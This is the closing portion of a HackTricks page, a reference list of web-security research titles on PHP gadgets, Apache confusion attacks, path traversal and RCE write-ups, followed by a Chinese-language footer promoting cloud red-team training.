- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


